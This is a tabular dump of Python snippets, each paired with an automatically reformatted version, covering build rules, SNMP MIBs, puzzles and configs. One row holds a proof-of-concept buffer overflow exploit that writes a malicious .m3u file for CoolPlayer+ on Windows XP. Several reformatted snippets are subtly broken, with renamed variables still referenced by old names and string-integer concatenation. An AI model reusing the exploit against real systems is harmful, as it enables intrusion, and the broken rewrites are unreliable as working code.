content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
# Copyright 2019 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | load('@build_bazel_rules_nodejs//internal/common:providers.bzl', 'ScriptsProvider')
def _ng_apf_library_impl(ctx):
umds = []
factories = []
summaries = []
for file in ctx.files.srcs:
if file.basename.endswith('.umd.js'):
umds.append(file)
elif file.basename.endswith('.ngfact... |
# This program calculates rate and distance problems
print("Input a rate and a distance")
rate = float(input("rate: "))
distance = float(input("distance: "))
print("Time:", (distance / rate))
| print('Input a rate and a distance')
rate = float(input('rate: '))
distance = float(input('distance: '))
print('Time:', distance / rate) |
# Bundles for JS/CSS Minification
PIPELINE_JS = {
"common": {
"source_filenames": (
"sumo/js/i18n.js",
"underscore/underscore.js",
"moment/moment.js",
"jquery/dist/jquery.min.js",
"jquery/jquery-migrate.js",
"sumo/js/libs/jquery.cookie... | pipeline_js = {'common': {'source_filenames': ('sumo/js/i18n.js', 'underscore/underscore.js', 'moment/moment.js', 'jquery/dist/jquery.min.js', 'jquery/jquery-migrate.js', 'sumo/js/libs/jquery.cookie.js', 'sumo/js/libs/jquery.placeholder.js', 'sumo/js/templates/macros.js', 'sumo/js/templates/search-results-list.js', 'su... |
class Test(object):
def __new__(cls, foo):
x = super(Test, cls).__new__(cls)
x.foo = foo
return x
def bar(self):
return self.f<ref>oo
| class Test(object):
def __new__(cls, foo):
x = super(Test, cls).__new__(cls)
x.foo = foo
return x
def bar(self):
return self.f < ref > oo |
InputSmartContractDir = "../contracts/time/"
SmartContractName = "./timestamp/graph_data_name_185.txt"
SmartContractLabel = "./timestamp/graph_data_label_185.txt"
SmartContractNumber = "./timestamp/graph_data_number_185.txt"
out = "./timestamp/timestamp.txt"
ContractName = open(SmartContractName, "r")
ContractNames = ... | input_smart_contract_dir = '../contracts/time/'
smart_contract_name = './timestamp/graph_data_name_185.txt'
smart_contract_label = './timestamp/graph_data_label_185.txt'
smart_contract_number = './timestamp/graph_data_number_185.txt'
out = './timestamp/timestamp.txt'
contract_name = open(SmartContractName, 'r')
contrac... |
with open("day08.in") as f:
INSTRUCTIONS = [line.strip() for line in f.readlines()]
def execute(instrs):
pc = 0
acc = 0
visited = set()
while pc not in visited and pc < len(instrs):
visited.add(pc)
op, arg = instrs[pc].split()
if op == "nop":
pc += 1
e... | with open('day08.in') as f:
instructions = [line.strip() for line in f.readlines()]
def execute(instrs):
pc = 0
acc = 0
visited = set()
while pc not in visited and pc < len(instrs):
visited.add(pc)
(op, arg) = instrs[pc].split()
if op == 'nop':
pc += 1
el... |
print("Kinjal Raykarmakar\nSec: CSE2H\tRoll: 29\n")
def binomialCoeff(n, k):
res = 1
if (k > n - k):
k = n - k
for i in range(0 , k):
res = res * (n - i)
res = res // (i + 1)
return res
def printPascal(n):
for row in range(0, n):
print(" " * (n-row-1... | print('Kinjal Raykarmakar\nSec: CSE2H\tRoll: 29\n')
def binomial_coeff(n, k):
res = 1
if k > n - k:
k = n - k
for i in range(0, k):
res = res * (n - i)
res = res // (i + 1)
return res
def print_pascal(n):
for row in range(0, n):
print(' ' * (n - row - 1), end='')
... |
__author__ = "Arturo Gonzalez"
__copyright__ = "Copyright 2019"
__license__ = "MIT"
__version__ = "0.0.1"
__maintainer__ = "arturogonzalez"
__email__ = "arturo@arturosolutions.com.au"
__status__ = "Development"
__url__ = "https://github.com/arturosolutions/earthquakes_python" | __author__ = 'Arturo Gonzalez'
__copyright__ = 'Copyright 2019'
__license__ = 'MIT'
__version__ = '0.0.1'
__maintainer__ = 'arturogonzalez'
__email__ = 'arturo@arturosolutions.com.au'
__status__ = 'Development'
__url__ = 'https://github.com/arturosolutions/earthquakes_python' |
_base_ = 'resnet50_head1_4xb64-steplr1e-1-20e_in1k-1pct.py'
# optimizer
optimizer = dict(lr=0.01, paramwise_options={'\\Ahead.': dict(lr_mult=100)})
| _base_ = 'resnet50_head1_4xb64-steplr1e-1-20e_in1k-1pct.py'
optimizer = dict(lr=0.01, paramwise_options={'\\Ahead.': dict(lr_mult=100)}) |
__version__ = "0.1.0"
def free_sugars(ingredients={}, kilojoules=0):
return 0
| __version__ = '0.1.0'
def free_sugars(ingredients={}, kilojoules=0):
return 0 |
# table definition
table = {
'table_name' : 'adm_currencies',
'module_id' : 'adm',
'short_descr' : 'Currency table',
'long_descr' : 'Currency table',
'sub_types' : None,
'sub_trans' : None,
'sequence' : ['seq', [], None],
'tree_params' : None,
'roll_params'... | table = {'table_name': 'adm_currencies', 'module_id': 'adm', 'short_descr': 'Currency table', 'long_descr': 'Currency table', 'sub_types': None, 'sub_trans': None, 'sequence': ['seq', [], None], 'tree_params': None, 'roll_params': None, 'indexes': None, 'ledger_col': None, 'defn_company': None, 'data_company': None, 'r... |
class ListNode:
def __init__(self, x):
self.val = x
self.next = None
class Solution(object):
def mergeKLists(self, lists):
if not lists:
return None
lists = list(filter(lambda node: node != None, lists))
result_node = ListNode(0)
current_node = res... | class Listnode:
def __init__(self, x):
self.val = x
self.next = None
class Solution(object):
def merge_k_lists(self, lists):
if not lists:
return None
lists = list(filter(lambda node: node != None, lists))
result_node = list_node(0)
current_node = r... |
#
# PySNMP MIB module HH3C-IPSEC-MONITOR-V2-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HH3C-IPSEC-MONITOR-V2-MIB
# Produced by pysmi-0.3.4 at Wed May 1 13:27:35 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.... | (integer, octet_string, object_identifier) = mibBuilder.importSymbols('ASN1', 'Integer', 'OctetString', 'ObjectIdentifier')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(constraints_intersection, constraints_union, value_size_constraint, single_value_constraint, value_range_constraint) ... |
#
# PySNMP MIB module CISCO-TELEPRESENCE-CALL-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCO-TELEPRESENCE-CALL-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 17:57:41 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python versio... | (object_identifier, integer, octet_string) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier', 'Integer', 'OctetString')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(value_range_constraint, value_size_constraint, constraints_intersection, single_value_constraint, constraints_union) ... |
def gcd(a,b):
if a==0:
return b
return gcd(b%a,a)
def primeTogether(a,b):
if gcd(a,b) == 1:
return True
return False
| def gcd(a, b):
if a == 0:
return b
return gcd(b % a, a)
def prime_together(a, b):
if gcd(a, b) == 1:
return True
return False |
class Credential:
"template for saving new credentials"
credential_list=[]
def __init__(self,username, password, website):
'''
saves user's credentials
:param username: user's username
:param password: user's password
:param website: website that the credentials apply... | class Credential:
"""template for saving new credentials"""
credential_list = []
def __init__(self, username, password, website):
"""
saves user's credentials
:param username: user's username
:param password: user's password
:param website: website that the credentia... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''Any information that is used between one or more adapter modules.'''
def get_preinstalled_linux_executables(version):
'''Get a list of possible pre-installed executable Houdini files.
Args:
version (str): A version of Houdini. Example: "17.0.352".
... | """Any information that is used between one or more adapter modules."""
def get_preinstalled_linux_executables(version):
"""Get a list of possible pre-installed executable Houdini files.
Args:
version (str): A version of Houdini. Example: "17.0.352".
Raises:
RuntimeError:
If w... |
class Solution:
def isThree(self, n: int) -> bool:
cou = 0
for i in range(1,n+1):
if n%i == 0:
cou += 1
if cou > 3:
return False
if cou == 3:
return True
else:
return False | class Solution:
def is_three(self, n: int) -> bool:
cou = 0
for i in range(1, n + 1):
if n % i == 0:
cou += 1
if cou > 3:
return False
if cou == 3:
return True
else:
return False |
class Solution:
def majorityElement(self, nums: List[int]) -> int:
if not nums:
raise Exception("Empty List")
d = {}
for x in nums:
if x in d:
d[x] += 1
else:
d[x] = 1
if d[x] > len(nums) / 2:
re... | class Solution:
def majority_element(self, nums: List[int]) -> int:
if not nums:
raise exception('Empty List')
d = {}
for x in nums:
if x in d:
d[x] += 1
else:
d[x] = 1
if d[x] > len(nums) / 2:
r... |
class APKAnalyserConfig:
version=1.0
border="*"*25
banner="{}\n\
+-+-+-+ +-+-+-+-+-+-+-+-+ \n\
|A|P|K| |A|n|a|l|y|s|e|r| \n\
+-+-+-+ +-+-+-+-+-+-+-+-+ \n\
\t [Version: {}]\n\n{}\n\n".format(border, version, border)
RootDir = ""
OutputDir=""
| class Apkanalyserconfig:
version = 1.0
border = '*' * 25
banner = '{}\n+-+-+-+ +-+-+-+-+-+-+-+-+ \n|A|P|K| |A|n|a|l|y|s|e|r| \n+-+-+-+ +-+-+-+-+-+-+-+-+ \n\t [Version: {}]\n\n{}\n\n'.format(border, version, border)
root_dir = ''
output_dir = '' |
'''
Problem Link: https://www.hackerrank.com/challenges/zig-zag-sequence/problem
In this challenge, the task is to debug the existing code to successfully execute all provided test files.
Given an array of n distinct integers, transform the array into a zig zag sequence by permuting the array elements. A sequence wil... | """
Problem Link: https://www.hackerrank.com/challenges/zig-zag-sequence/problem
In this challenge, the task is to debug the existing code to successfully execute all provided test files.
Given an array of n distinct integers, transform the array into a zig zag sequence by permuting the array elements. A sequence wil... |
x, k, d = map(int, input().split())
x = abs(x)
if k < x // d:
print(x - k * d)
else:
if (k - x // d) % 2 == 1:
print(abs(x - d * (x // d + 1)))
else:
print(abs(x - d * (x // d)))
| (x, k, d) = map(int, input().split())
x = abs(x)
if k < x // d:
print(x - k * d)
elif (k - x // d) % 2 == 1:
print(abs(x - d * (x // d + 1)))
else:
print(abs(x - d * (x // d))) |
_base_ = [
'../_base_/models/flownet2/flownet2css.py',
'../_base_/datasets/flyingchairs_384x448.py',
'../_base_/schedules/schedule_s_long.py', '../_base_/default_runtime.py'
]
# Initialize weights of FlowNet2CS with
load_from = 'https://download.openmmlab.com/mmflow/flownet2/flownet2cs_8x1_sfine_flyingthing... | _base_ = ['../_base_/models/flownet2/flownet2css.py', '../_base_/datasets/flyingchairs_384x448.py', '../_base_/schedules/schedule_s_long.py', '../_base_/default_runtime.py']
load_from = 'https://download.openmmlab.com/mmflow/flownet2/flownet2cs_8x1_sfine_flyingthings3d_subset_384x768.pth' |
def sameElementsNaive(a, b):
return len([x for x in a for y in b if x == y])
if __name__ == '__main__':
input0 = [[1, 2, 3], [1], [1, 2, 3]]
input1 = [[3, 4, 5], [2, 3, 4, 1], [2, 3, 4]]
expectedOutput = [1, 1, 2]
assert len(input0) == len(expectedOutput), '# input0 = {}, # expectedOutput = {}'.format(len(input0)... | def same_elements_naive(a, b):
return len([x for x in a for y in b if x == y])
if __name__ == '__main__':
input0 = [[1, 2, 3], [1], [1, 2, 3]]
input1 = [[3, 4, 5], [2, 3, 4, 1], [2, 3, 4]]
expected_output = [1, 1, 2]
assert len(input0) == len(expectedOutput), '# input0 = {}, # expectedOutput = {}'.f... |
class Infinity(object):
def __repr__(self):
return "Infinity"
def __hash__(self):
return hash(repr(self))
def __lt__(self, other):
return False
def __le__(self, other):
return False
def __eq__(self, other):
return isinstance(other, self.__cla... | class Infinity(object):
def __repr__(self):
return 'Infinity'
def __hash__(self):
return hash(repr(self))
def __lt__(self, other):
return False
def __le__(self, other):
return False
def __eq__(self, other):
return isinstance(other, self.__class__)
de... |
__author__ = 'Aaron Yang'
__email__ = 'byang971@usc.edu'
__date__ = '7/17/2020 4:13 PM'
class Solution:
def numTrees(self, n: int) -> int:
dp = [0] * (n + 1)
dp[0] = dp[1] = 1
for i in range(2, n + 1):
for j in range(0, i):
dp[i] = dp[j] * dp[i - j - 1]
... | __author__ = 'Aaron Yang'
__email__ = 'byang971@usc.edu'
__date__ = '7/17/2020 4:13 PM'
class Solution:
def num_trees(self, n: int) -> int:
dp = [0] * (n + 1)
dp[0] = dp[1] = 1
for i in range(2, n + 1):
for j in range(0, i):
dp[i] = dp[j] * dp[i - j - 1]
... |
#!/usr/bin/python
# Author: Michael Music
# Date: 8/1/2019
# Description: Coolplayer+ Buffer Overflow Exploit
# Exercise in BOFs following the securitysift guide
# Tested on Windows XP
# Notes:
# I will be assuming that EBX and ESP points to the buffer.
# This scenario assumes that EBX only has 100 bytes of uninte... | exploit_string = ''
exploit_string += '\x83ìd' * 2
exploit_string += '\x83ì('
exploit_string += 'ÿä'
exploit_string += '\x90' * 30
exploit_string += 'Ì' * (260 - len(exploit_string))
exploit_string += 'S<\x87|'
exploit_string += 'C' * (10000 - len(exploit_string))
out = 'crash.m3u'
text = open(out, 'w')
text.write(expl... |
class Source(object):
def __init__(self, name, url):
self.name = name
self.url = url
self.articles = []
def addArticle(heading, url):
self.articles.append((heading, url))
| class Source(object):
def __init__(self, name, url):
self.name = name
self.url = url
self.articles = []
def add_article(heading, url):
self.articles.append((heading, url)) |
class Solution:
def searchInsert(self, nums: List[int], target: int) -> int:
if not nums:
return 0
start = 0
end = len(nums) - 1
while start <= end:
avg = (start + end) // 2
if nums[avg] == target:
return avg
if nums... | class Solution:
def search_insert(self, nums: List[int], target: int) -> int:
if not nums:
return 0
start = 0
end = len(nums) - 1
while start <= end:
avg = (start + end) // 2
if nums[avg] == target:
return avg
if nums[a... |
class Solution:
def searchRange(self, nums: List[int], target: int) -> List[int]:
N = len(nums)
if N == 0:
return [-1,-1]
if N == 1:
if nums[0] == target:
return [0,0]
else:
return [-1,-1]
elif N == 2:
if... | class Solution:
def search_range(self, nums: List[int], target: int) -> List[int]:
n = len(nums)
if N == 0:
return [-1, -1]
if N == 1:
if nums[0] == target:
return [0, 0]
else:
return [-1, -1]
elif N == 2:
... |
class ApiException(Exception):
'''Caught by ApiExceptionMiddleware. Converts error into json response'''
def __init__(self, message, status_code, error_code='', **extra_data):
super(ApiException, self).__init__(message)
self.message = message
self.status_code = status_code
self.e... | class Apiexception(Exception):
"""Caught by ApiExceptionMiddleware. Converts error into json response"""
def __init__(self, message, status_code, error_code='', **extra_data):
super(ApiException, self).__init__(message)
self.message = message
self.status_code = status_code
self.... |
# Scrapy settings for tutorial project
#
# For simplicity, this file contains only the most important settings by
# default. All the other settings are documented here:
#
# http://doc.scrapy.org/topics/settings.html
#
BOT_NAME = 'livingsocial'
SPIDER_MODULES = ['scraper_app.spiders']
ITEM_PIPELINES = ['scraper_a... | bot_name = 'livingsocial'
spider_modules = ['scraper_app.spiders']
item_pipelines = ['scraper_app.pipelines.LivingSocialPipeline']
database = {'drivername': 'postgres', 'host': 'localhost', 'port': '5432', 'username': 'YOUR_USERNAME', 'password': 'YOUR_PASSWORD', 'database': 'scrape'} |
def resource_get_func(args):
return {"code":254, "error":"notImplemented"}
def resource_list_func(args):
return {"code":254, "error":"notImplemented"}
def resource_attach_func(args):
return {"code":254, "error":"notImplemented"}
def resource_detach_func(args):
return {"code":254, "error":"notImplemented"}
| def resource_get_func(args):
return {'code': 254, 'error': 'notImplemented'}
def resource_list_func(args):
return {'code': 254, 'error': 'notImplemented'}
def resource_attach_func(args):
return {'code': 254, 'error': 'notImplemented'}
def resource_detach_func(args):
return {'code': 254, 'error': 'not... |
# WRITE YOUR SOLUTION HERE:
class Person:
def __init__(self, name: str, height: int):
self.name = name
self.height = height
def __str__(self):
return self.name
class Room:
def __init__(self):
self.room = []
def add(self, person: Person):
self.room.append(pe... | class Person:
def __init__(self, name: str, height: int):
self.name = name
self.height = height
def __str__(self):
return self.name
class Room:
def __init__(self):
self.room = []
def add(self, person: Person):
self.room.append(person)
def is_empty(self):... |
_base_ = [
'./data.py',
'./pipelines/coco_pmd_ioucrop_resize.py'
]
__dataset_type = 'CocoDataset'
__data_root = 'data/coco/'
__train_pipeline = {{_base_.train_pipeline}}
__test_pipeline = {{_base_.test_pipeline}}
__samples_per_gpu = 32
data = dict(
samples_per_gpu=__samples_per_gpu,
workers_per_gpu=... | _base_ = ['./data.py', './pipelines/coco_pmd_ioucrop_resize.py']
__dataset_type = 'CocoDataset'
__data_root = 'data/coco/'
__train_pipeline = {{_base_.train_pipeline}}
__test_pipeline = {{_base_.test_pipeline}}
__samples_per_gpu = 32
data = dict(samples_per_gpu=__samples_per_gpu, workers_per_gpu=2, pipeline_options=dic... |
triplets = [
( 1, 1,54), ( 1, 1,55), ( 1, 3,45), ( 1, 7, 9), ( 1, 7,44), ( 1, 7,46), ( 1, 9,50), ( 1,11,35), ( 1,11,50),
( 1,13,45), ( 1,15, 4), ( 1,15,63), ( 1,19, 6), ( 1,19,16), ( 1,23,14), ( 1,23,29), ( 1,29,34), ( 1,35, 5),
( 1,35,11), ( 1,35,34), ( 1,45,37), ( 1,51,13), ( 1,53, 3), ( 1,59,14), ( 2,13... | triplets = [(1, 1, 54), (1, 1, 55), (1, 3, 45), (1, 7, 9), (1, 7, 44), (1, 7, 46), (1, 9, 50), (1, 11, 35), (1, 11, 50), (1, 13, 45), (1, 15, 4), (1, 15, 63), (1, 19, 6), (1, 19, 16), (1, 23, 14), (1, 23, 29), (1, 29, 34), (1, 35, 5), (1, 35, 11), (1, 35, 34), (1, 45, 37), (1, 51, 13), (1, 53, 3), (1, 59, 14), (2, 13, ... |
def evaporator(content, evap_per_day, threshold):
days = 0
full_content = 100
while full_content > threshold:
full_content -= full_content * (evap_per_day / 100)
days += 1
return days
print(evaporator(10, 10, 5)) | def evaporator(content, evap_per_day, threshold):
days = 0
full_content = 100
while full_content > threshold:
full_content -= full_content * (evap_per_day / 100)
days += 1
return days
print(evaporator(10, 10, 5)) |
class Node:
def __init__(self, data):
self.left = None
self.right = None
self.data = data
def inorder(self):
if self.left:
self.left.inorder()
print(self.data, end=' ')
if self.right:
self.right.inorder()
def preorder(self):
# visiting the root node
print(self.data,... | class Node:
def __init__(self, data):
self.left = None
self.right = None
self.data = data
def inorder(self):
if self.left:
self.left.inorder()
print(self.data, end=' ')
if self.right:
self.right.inorder()
def preorder(self):
... |
# -*- encoding: utf-8 -*-
#Written by: Karim shoair - D4Vinci ( Cr3dOv3r )
#Instead of creating many config/text files and parse them I think this better because I'm lazy and it's easier to add new website :D .
#See how to add a website in the repo wiki
#Normal websites (That use one form)
#Facbook data
facebook = { "... | facebook = {'url': 'https://en-gb.facebook.com/login.php', 'form': '#login_form', 'e_form': 'email', 'p_form': 'pass'}
twitter = {'url': 'https://mobile.twitter.com/sessions', 'form': 'form[action="/sessions"]', 'e_form': 'session[username_or_email]', 'p_form': 'session[password]'}
ask = {'url': 'https://ask.fm/login',... |
# Copyright 2021 VMware, Inc.
# SPDX-License-Identifier: Apache-2.0
# build info container information about the build that produced this version of the cli
# This file will be populated and overwritten completely automatically by CICD pipeline see .gitlab-ci.yml
RELEASE_VERSION = "unknown"
GIT_COMMIT_SHA = "unknown"... | release_version = 'unknown'
git_commit_sha = 'unknown'
git_branch = 'unknown'
gitlab_ci_job_id = 'unknown'
build_date = 'unknown'
build_machine_info = 'unknown' |
CAT_DAR_ANALYTES = [('Analytes', (
# Analyate acronym and name, Mapping in the dar DB
('UAG', ' Silver - Urine'), # Ag in ug/L
('UAL', ' Aluminium - Urine'), # Al in ug/L
('UCR', 'Chromium - Urine'), # Cr in ug/L
('UCU', 'Co... | cat_dar_analytes = [('Analytes', (('UAG', ' Silver - Urine'), ('UAL', ' Aluminium - Urine'), ('UCR', 'Chromium - Urine'), ('UCU', 'Copper - Urine'), ('UFE', 'Iron - Urine'), ('UNI', 'Niquel - Urine'), ('UVA', 'Vanadium - Urine'), ('UZN', 'Zinc - Urine'), ('UAS3', 'Arsenous (III) acid - Urine'), ('UASB', 'Arsenobetaine ... |
def action(op):
op_code = op.split()[0].strip()
if op_code =='nop':
return 0, 1
elif op_code == 'acc':
return int(op.split()[1].strip()), 1
elif op_code == 'jmp':
return 0, int(op.split()[1].strip())
else:
print("read error")
def attempt_program(lines):
# retur... | def action(op):
op_code = op.split()[0].strip()
if op_code == 'nop':
return (0, 1)
elif op_code == 'acc':
return (int(op.split()[1].strip()), 1)
elif op_code == 'jmp':
return (0, int(op.split()[1].strip()))
else:
print('read error')
def attempt_program(lines):
vi... |
class Solution:
def minCut(self, s: str) -> int:
return self.bfs(s)
def bfs(self, s):
if self.isPal(s):
return 0
q = list()
visited = set()
depth = 1
for i in range(1, len(s) + 1):
if self.isPal(s[:i]):
q.append(i)
... | class Solution:
def min_cut(self, s: str) -> int:
return self.bfs(s)
def bfs(self, s):
if self.isPal(s):
return 0
q = list()
visited = set()
depth = 1
for i in range(1, len(s) + 1):
if self.isPal(s[:i]):
q.append(i)
... |
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Copyright (c) Megvii, Inc. and its affiliates.
# VOC_CLASSES = ( '__background__', # always index 0
VOC_CLASSES = (
"fullgolfclub",
"golfball",
"golfclub",
"golfer",
"golfer_front"
)
| voc_classes = ('fullgolfclub', 'golfball', 'golfclub', 'golfer', 'golfer_front') |
# Bulb dropping puzzle, as seen on http://qntm.org/bulbs:
#
# The problem
#
# You have a 100-story building and 2 identical, supposedly-unbreakable
# light bulbs. You know for a fact that if you drop a bulb at floor 0 (i.e.
# ground level), the bulb will not break. You also know for a fact that if
# yo... | def one_bulb(f):
"""Returns the number of drops needed to solve the Bulb Drop problem for
the case where only a single bulb is available."""
return f
cache = {}
def two_bulbs(f):
"""Tree-recursive function that returns the number of drops needed to solve
the bulb drop problem in the two bulb ... |
print('Dictionaries are like lists but every value is given a key insted of position')
dict_phone={'Phone1':'9440675365','Phone2':'9441836592','Phone3':'8330990980'}
print(dict_phone['Phone2'])
del dict_phone['Phone3']
print(dict_phone)
dict_phone['Phone2']='8330990980'
print(dict_phone)
print(len(dict_phone))
... | print('Dictionaries are like lists but every value is given a key insted of position')
dict_phone = {'Phone1': '9440675365', 'Phone2': '9441836592', 'Phone3': '8330990980'}
print(dict_phone['Phone2'])
del dict_phone['Phone3']
print(dict_phone)
dict_phone['Phone2'] = '8330990980'
print(dict_phone)
print(len(dict_phone))... |
word_list = [
'abroad',
'accident',
'action film',
'actor',
'address',
'adventure',
'advertisement',
'afraid',
'afternoon',
'aggressive',
'airport',
'alcohol',
'alone',
'amazing',
'angel',
'angry',
'animal',
'ankle',
'annoyed',
'answer',
] | word_list = ['abroad', 'accident', 'action film', 'actor', 'address', 'adventure', 'advertisement', 'afraid', 'afternoon', 'aggressive', 'airport', 'alcohol', 'alone', 'amazing', 'angel', 'angry', 'animal', 'ankle', 'annoyed', 'answer'] |
name = input()
age = int(input())
id = int(input())
salary = float(input())
print("Name: " + name)
print("Age: " + age)
print("Id: " + id)
print("Salary: " + salary)
| name = input()
age = int(input())
id = int(input())
salary = float(input())
print('Name: ' + name)
print('Age: ' + age)
print('Id: ' + id)
print('Salary: ' + salary) |
RESULTS_PAGESIZE = 20
# Xapian settings (values)
SEARCH_CHAPTER_ID = 0
SEARCH_ORDINAL = 1
SEARCH_DOCUMENT_TITLE = 2
SEARCH_DOCUMENT_ID = 3
SORT_RELEVANCE = 0
SORT_ORDINAL = 1
| results_pagesize = 20
search_chapter_id = 0
search_ordinal = 1
search_document_title = 2
search_document_id = 3
sort_relevance = 0
sort_ordinal = 1 |
# -*- coding: utf-8 -*-
DESC = "tcaplusdb-2019-08-23"
INFO = {
"DescribeTableTags": {
"params": [
{
"name": "ClusterId",
"desc": "The ID of the cluster where a table resides"
},
{
"name": "SelectedTables",
"desc": "Table list"
}
],
"desc": "This API ... | desc = 'tcaplusdb-2019-08-23'
info = {'DescribeTableTags': {'params': [{'name': 'ClusterId', 'desc': 'The ID of the cluster where a table resides'}, {'name': 'SelectedTables', 'desc': 'Table list'}], 'desc': 'This API is used to get table tags.'}, 'DescribeTasks': {'params': [{'name': 'ClusterIds', 'desc': 'List of IDs... |
# https://www.codingame.com/training/easy/the-descent
def solution():
while True:
max_height = 0
max_mountain = 0
for i in range(8):
height = int(input())
if height > max_height:
max_height = height
max_mountain = i
print(max... | def solution():
while True:
max_height = 0
max_mountain = 0
for i in range(8):
height = int(input())
if height > max_height:
max_height = height
max_mountain = i
print(max_mountain)
solution() |
#!/usr/bin/env python
# coding=utf-8
class startURL:
ershoufangURL = [
'http://bj.5i5j.com/exchange/n0/',
'http://cd.5i5j.com/exchange/n0/',
'http://cs.5i5j.com/exchange/n0/',
'http://hz.5i5j.com/exchange/n0/',
'http://nc.5i5j.com/exchange/n0/',
'http://nj.5i5j.com/exchange/n0/'... | class Starturl:
ershoufang_url = ['http://bj.5i5j.com/exchange/n0/', 'http://cd.5i5j.com/exchange/n0/', 'http://cs.5i5j.com/exchange/n0/', 'http://hz.5i5j.com/exchange/n0/', 'http://nc.5i5j.com/exchange/n0/', 'http://nj.5i5j.com/exchange/n0/', 'http://nn.5i5j.com/exchange/n0/', 'http://sh.5i5j.com/exchange/n0/', 'h... |
N=int(input())
A=list(map(int,input().split()))
B=list(map(int,input().split()))
C=[a-b for a,b in zip(A,B)]
plus=[i for i in C if i>=0]
minus=[i for i in C if i<0]
plus.sort(reverse=True)
sum_minus=sum(minus)
ans=len(minus)
for i in plus:
if sum_minus>=0:
break
sum_minus+=i
ans+=1
if sum_minus... | n = int(input())
a = list(map(int, input().split()))
b = list(map(int, input().split()))
c = [a - b for (a, b) in zip(A, B)]
plus = [i for i in C if i >= 0]
minus = [i for i in C if i < 0]
plus.sort(reverse=True)
sum_minus = sum(minus)
ans = len(minus)
for i in plus:
if sum_minus >= 0:
break
sum_minus +... |
add_pattern('#wedge', [ CENTER_PATTERN, SIDE_S_PATTERN, SIDE_N_PATTERN ],
'''
ooo
.O.
.1.
.O.
ooo
''')
| add_pattern('#wedge', [CENTER_PATTERN, SIDE_S_PATTERN, SIDE_N_PATTERN], '\n ooo\n .O.\n .1.\n .O.\n ooo\n ') |
def dict_concat(dictionary):
result_dictionary = {}
for d in dictionary:
for k, v in d.items():
result_dictionary[str(k)] = v
return result_dictionary
def dict_concat_in_lists(dictionary):
result_dictionary = {}
for d in dictionary:
for k, v in d.items():
re... | def dict_concat(dictionary):
result_dictionary = {}
for d in dictionary:
for (k, v) in d.items():
result_dictionary[str(k)] = v
return result_dictionary
def dict_concat_in_lists(dictionary):
result_dictionary = {}
for d in dictionary:
for (k, v) in d.items():
... |
class TestClass(object):
def methodA(self, x, y):
pass
def methodB(self):
pass
def _internalMethod(self, q, r):
pass
| class Testclass(object):
def method_a(self, x, y):
pass
def method_b(self):
pass
def _internal_method(self, q, r):
pass |
def consistency_detection(**options):
if options['cs'] and options['cs++']:
raise Exception("The '--cs' and '--cs++' cannot exist simultaneously!")
elif options['cs']:
if options['loss'] != 'ARPLoss' and options['loss'] != 'AMPFLoss':
raise Exception('The loss function does not mat... | def consistency_detection(**options):
if options['cs'] and options['cs++']:
raise exception("The '--cs' and '--cs++' cannot exist simultaneously!")
elif options['cs']:
if options['loss'] != 'ARPLoss' and options['loss'] != 'AMPFLoss':
raise exception('The loss function does not match... |
load("@io_bazel_rules_scala//scala:jars_to_labels.bzl", "JarsToLabelsInfo")
load("//scala/settings:stamp_settings.bzl", "StampScalaImport")
load(
"@io_bazel_rules_scala//scala/private:rule_impls.bzl",
"specified_java_compile_toolchain",
)
def _stamp_jar(ctx, jar):
stamped_jar_filename = "%s.stamp/%s" % (ct... | load('@io_bazel_rules_scala//scala:jars_to_labels.bzl', 'JarsToLabelsInfo')
load('//scala/settings:stamp_settings.bzl', 'StampScalaImport')
load('@io_bazel_rules_scala//scala/private:rule_impls.bzl', 'specified_java_compile_toolchain')
def _stamp_jar(ctx, jar):
stamped_jar_filename = '%s.stamp/%s' % (ctx.label.nam... |
# Learning dictionaries
# decalring dictionaris
thisDist={
"brand":"Mustang",
"model":"tata",
"year":1980
}
print(thisDist) | this_dist = {'brand': 'Mustang', 'model': 'tata', 'year': 1980}
print(thisDist) |
PATH_TO_FROZEN_GRAPH = '/home/ubuntu/cocacola_201904/coke_dataset/models/research/object_detection/legacy/models/train/'+ '/frozen_inference_graph.pb'
# List of the strings that is used to add correct label for each box.
PATH_TO_LABELS = os.path.join('/home/ubuntu/cocacola_201904/coke_dataset/training', 'cocacola_lab... | path_to_frozen_graph = '/home/ubuntu/cocacola_201904/coke_dataset/models/research/object_detection/legacy/models/train/' + '/frozen_inference_graph.pb'
path_to_labels = os.path.join('/home/ubuntu/cocacola_201904/coke_dataset/training', 'cocacola_label.pbtxt')
num_classes = 2
graph = tf.Graph()
with graph.as_default():
... |
numbers = [1,2,3,4,5,6,7,8,9,10]
# using a list comprehension
# print a list of all nums multiplied by 2
a = [num * 2 for num in numbers]
print(a) # [2, 4, 6, 8, 10, 12, 14, 16, 18, 20]
# using a list comprehension
# print all of the nums that are greater than 5
b = [num for num in numbers if num > 5]
print(b) # ... | numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
a = [num * 2 for num in numbers]
print(a)
b = [num for num in numbers if num > 5]
print(b)
c = [num ** 2 for num in numbers if num % 2 == 0]
print(c)
sentence = 'the quick brown fox jumps over the lazy dog'
words = sentence.split()
word_len = [len(word) for word in words if wor... |
_base_ = ['../_base_/models/slowonly_r50.py']
# model settings
lfb_prefix_path = 'data/ava/lfb_half'
max_num_sampled_feat = 5
window_size = 60
lfb_channels = 2048
dataset_modes = ('train', 'val')
model = dict(
roi_head=dict(
shared_head=dict(
type='FBOHead',
lfb_cfg=dict(
... | _base_ = ['../_base_/models/slowonly_r50.py']
lfb_prefix_path = 'data/ava/lfb_half'
max_num_sampled_feat = 5
window_size = 60
lfb_channels = 2048
dataset_modes = ('train', 'val')
